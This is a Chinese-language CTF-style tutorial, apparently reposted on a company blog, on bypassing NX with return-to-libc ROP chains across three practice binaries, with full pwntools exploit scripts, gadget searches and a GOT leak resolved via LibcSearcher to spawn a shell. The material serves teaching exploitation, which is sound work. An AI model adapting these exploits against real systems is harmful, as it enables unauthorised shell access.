緩沖區(qū)溢出漏洞-基本ROP-ret2lib

本文視頻:
???????? 如果文字過于枯燥,可觀看在線視頻:https://edu.51cto.com/sd/16514

公司主營業(yè)務(wù):成都網(wǎng)站制作、網(wǎng)站設(shè)計、外貿(mào)網(wǎng)站建設(shè)、移動網(wǎng)站開發(fā)等業(yè)務(wù)。幫助企業(yè)客戶真正實現(xiàn)互聯(lián)網(wǎng)宣傳,提高企業(yè)的競爭能力。創(chuàng)新互聯(lián)公司是一支青春激揚、勤奮敬業(yè)、活力青春激揚、勤奮敬業(yè)、活力澎湃、和諧高效的團隊。公司秉承以“開放、自由、嚴(yán)謹(jǐn)、自律”為核心的企業(yè)文化,感謝他們對我們的高要求,感謝他們從不同領(lǐng)域給我們帶來的挑戰(zhàn),讓我們激情的團隊有機會用頭腦與智慧不斷的給客戶帶來驚喜。創(chuàng)新互聯(lián)公司推出扶綏免費做網(wǎng)站回饋大家。

基礎(chǔ)知識:

第一題:ret2libc1

我們先用IDA分析下

緩沖區(qū)溢出漏洞-基本ROP-ret2lib

有一個gets函數(shù)會有溢出漏洞,我們在查看下程序的有哪些保護

緩沖區(qū)溢出漏洞-基本ROP-ret2lib

可以看到開啟了NX,說明我們在棧中的數(shù)據(jù)沒有執(zhí)行權(quán)限,我們需要使用ROP方式進行繞過

我們使用gdb的pattern進行測試溢出偏移量是112

命令分別是:pattern create 200

執(zhí)行r命令

輸入生成的字符串

根據(jù)提示執(zhí)行pattern offset xxxxxx

緩沖區(qū)溢出漏洞-基本ROP-ret2lib

接下里我們要做的是執(zhí)行系統(tǒng)函數(shù)system("/bin/sh"),來獲取系統(tǒng)的權(quán)限

所以我們可以想象我們的payload是:'a' * 112 + system_plt + 0x0000000 + bin_sh_addr

我們需要system的plt地址以及字符串/bin/sh的地址

system的plt地址可以用IDA來查看,在頁面中使用ALT + T來搜索system

緩沖區(qū)溢出漏洞-基本ROP-ret2lib

/bin/sh的獲取方式:

緩沖區(qū)溢出漏洞-基本ROP-ret2lib

所以得到我們的exp為:

from pwn import *

p = process('./ret2libc1')

system_plt_addr = 0x08048460

bin_sh_addr = 0x08048720

payload = flat(['a' * 112 , system_plt_addr , 0x00000000 , bin_sh_addr])

p.sendline(payload)

p.interactive()

第二題

這道題和第一個題沒有太大區(qū)別,唯一的區(qū)別在于找不到字符串/bin/sh的地址了。所以我們需要重新構(gòu)造。

除了在程序中查找/bin/sh的地址,我們也可以直接讓用戶輸入。所以我們可以構(gòu)造以下payload

payload = 'a' + get_plt + pop_ebx + bin_sh + system_plt + 0x00000000 + bin_sh

payload里的pop_ebx還是pop eax都無所謂,但我們使用ROPgadget在搜索的時候只能搜到pop ebx;ret

接下來我們動態(tài)調(diào)試下payload發(fā)送到ret2libc2后代碼執(zhí)行過程和棧變化。我們看下exp代碼

from pwn import *

p = process('./ret2libc2')

system_plt = 0x08048490

gets_plt = 0x08048460

buf = 0x0804a0e4 - 16

pop_ebx_addr = 0x0804843d

payload = flat(['a' * 112,gets_plt,pop_ebx_addr,buf,system_plt,0x00000000,buf])

pause()

p.sendline(payload)

p.interactive()

也可以是一下exp:

from pwn import *

p = process("./ret2libc2")

elf = ELF("./ret2libc2")

rop = ROP(elf)

gets_plt = elf.plt['gets']

system_plt = elf.plt['system']

#自動查找rop,而不需要我們使用ROPgadget去搜索

pop_ret = rop.search(8).address

#pop_ret = 0x0804843d

#elf.bss()代表的是bss段段開始位置(這個位置會比實際的bss起始位置大一些)

buf = elf.bss(0xf)

#buf = 0x0804b000 - 16

payload = flat(['a'*112,gets_plt,pop_ret,buf,system_plt,0x00000000,buf])

p.sendline(payload)

p.sendline('/bin/sh\n')

p.interactive()

buf變量的值是bss段的內(nèi)容,我們使用vmmap就可以看到有w權(quán)限的bss,在最末尾-16來保存我們gets輸入的內(nèi)容。

也可以使用display &buf2來找一個變量的地址

緩沖區(qū)溢出漏洞-基本ROP-ret2lib

運行exp.py,得到pid后使用gdb attach進行調(diào)試

一直finish到main函數(shù)中

緩沖區(qū)溢出漏洞-基本ROP-ret2lib

我們發(fā)現(xiàn)在執(zhí)行完main方法的ret之后程序進入了gets函數(shù),說明我們的payload被成功執(zhí)行了.

第三題:

使用IDA查看代碼

緩沖區(qū)溢出漏洞-基本ROP-ret2lib

發(fā)現(xiàn)有g(shù)ets函數(shù),存在漏洞,使用GDB加載程序:gdb ./ret2libc3

進入到gdb命令行后,使用checksec查看保護

緩沖區(qū)溢出漏洞-基本ROP-ret2lib

發(fā)現(xiàn)有NX保護,我們使用ROP進行繞過。

我們可以構(gòu)造payload = 'a' * offset + system_plt+0x00000000 + bin_sh_addr

關(guān)鍵在于如何獲取system和/bin/sh的地址,所以我們使用objdump查看system plt地址

緩沖區(qū)溢出漏洞-基本ROP-ret2lib

發(fā)現(xiàn)plt中沒有system,使用ROPgadget查找/bin/sh的地址

緩沖區(qū)溢出漏洞-基本ROP-ret2lib

發(fā)現(xiàn)沒有/bin/sh,所以我們只能靠自己計算這兩個的值了。

那么我們?nèi)绾蔚玫?system 函數(shù)的地址呢?這里就主要利用了兩個知識點

  • system 函數(shù)屬于 libc,而 libc.so 動態(tài)鏈接庫中的函數(shù)之間相對偏移是固定的。

  • 即使程序有 ASLR 保護,也只是針對于地址中間位進行隨機,最低的 12 位并不會發(fā)生改變。而 libc 在 github 上有人進行收集,如下

  • https://github.com/niklasb/libc-database

所以我們第一個要做的事情就是判斷這個ret2libc3程序依賴的哪個libc,思路如下:

1、泄露一個ret2libc3函數(shù)的位置

2、獲取libc的版本

3、根據(jù)偏移獲取shell和sh的位置

4、執(zhí)行程序獲取shell

這里我們用一個lic的工具https://github.com/lieanu/LibcSearcher

他能幫我們快速的找到system和/bin/sh的地址,但是他需要一個關(guān)鍵的東西:一個程序函數(shù)的地址

我們知道在Linux的程序中使用了延遲綁定機制,也就是說一個函數(shù)在沒有執(zhí)行前,你是不知道它的真實地址是什么的。而這個程序中我們能看到的有printf函數(shù)、gets函數(shù)。我們通過這兩個函數(shù)來確定libc的版本。代碼如下:

from pwn import *

import time

p = process("./ret2libc3")

elf = ELF("./ret2libc3")

offset = 112

#要泄漏的函數(shù)的地址

target_func = 'gets'

#調(diào)用puts函數(shù)進行打印

puts_func = 'puts'

puts_plt = elf.plt[puts_func]

target_got = elf.got[target_func]

main_addr = elf.symbols['main']

#調(diào)用puts函數(shù),打印泄漏函數(shù)的got地址,最后返回main函數(shù),在32位程序中調(diào)用函數(shù)地址的第一個參數(shù)就是返回地址,后面的才是參數(shù)

payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(target_got)

#payload = flat([offset * 'a',puts_plt,main_addr,puts_got])

p.sendlineafter("Can you find it !?",payload)

print hex(u32(p.recv()[0:4]))

我們看一下結(jié)果:確實后12位是不變的,3e0。(一個字符4個字節(jié),3 *4 = 12)

緩沖區(qū)溢出漏洞-基本ROP-ret2lib

我們查一下版本:https://libc.blukat.me

緩沖區(qū)溢出漏洞-基本ROP-ret2lib

版本有點多,我們換個函數(shù),使用puts函數(shù),直接將變量target_func改為puts,查看運行結(jié)果:

緩沖區(qū)溢出漏洞-基本ROP-ret2lib

發(fā)現(xiàn)后12位是ca0

緩沖區(qū)溢出漏洞-基本ROP-ret2lib

經(jīng)過比對,這兩個版本的地址是一樣的,所以用那個都可以。

最后exp

#!/usr/bin/env python

# -*- coding: UTF-8 -*-

from pwn import *

from LibcSearcher import LibcSearcher

sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

rop = ROP(ret2libc3)

func = 'puts'

puts_plt = ret2libc3.plt['puts']

libc_start_main_got = ret2libc3.got[func]

main = ret2libc3.symbols['main']# 獲取main函數(shù)地址

print "leak libc_start_main_got addr and return to main again"

payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])

sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"

#獲取puts函數(shù)運行時的地址

libc_start_main_addr = u32(sh.recv()[0:4])

print libc_start_main_addr

# 實例化LibcSearcher對象

libc = LibcSearcher(func, libc_start_main_addr)

# 計算libc的初始地址(puts的動態(tài)地址-puts的偏移地址)

libcbase = libc_start_main_addr - libc.dump(func)

# 計算system地址

system_addr = libcbase + libc.dump('system')

# 計算/bin/sh地址

binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"

payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])

sh.sendline(payload)

sh.interactive()

本文題目:緩沖區(qū)溢出漏洞-基本ROP-ret2lib
分享鏈接:http://bm7419.com/article22/gosjjc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站策劃、ChatGPT、微信公眾號、面包屑導(dǎo)航、網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計公司

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

小程序開發(fā)